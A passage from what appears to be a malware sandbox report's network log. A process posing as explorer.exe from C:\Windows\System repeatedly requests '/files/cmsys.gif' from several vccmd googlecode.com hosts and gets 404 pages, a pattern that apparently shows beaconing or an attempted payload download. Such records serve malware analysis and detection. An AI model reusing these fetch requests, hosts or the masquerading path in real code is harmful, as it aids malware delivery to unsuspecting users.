25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:10:54.177453041 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.5	60739	142.251.168.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:10:54.387111902 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd03.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:10:55.308903933 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:10:55 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:10:55.308933973 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.5	60741	64.233.166.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:10:57.421252012 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:10:58.334898949 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:10:58 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:10:58.334932089 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.5	60742	108.177.15.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:10:58.599807024 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd02.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:10:59.529417038 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:10:59 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:10:59.529622078 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.5	60743	142.251.168.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:10:59.778623104 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd03.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:11:00.710582018 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:11:00 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:11:00.710608006 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.5	60745	64.233.166.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:11:03.247184038 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:11:04.177339077 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:11:04 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:11:04.177386045 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.5	60746	108.177.15.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:11:04.395920038 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd02.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:11:05.328668118 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:11:05 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:11:05.329246044 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.5	60747	142.251.168.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:11:05.917105913 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd03.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:11:06.844583988 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:11:06 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:11:06.844629049 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.5	60749	64.233.166.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
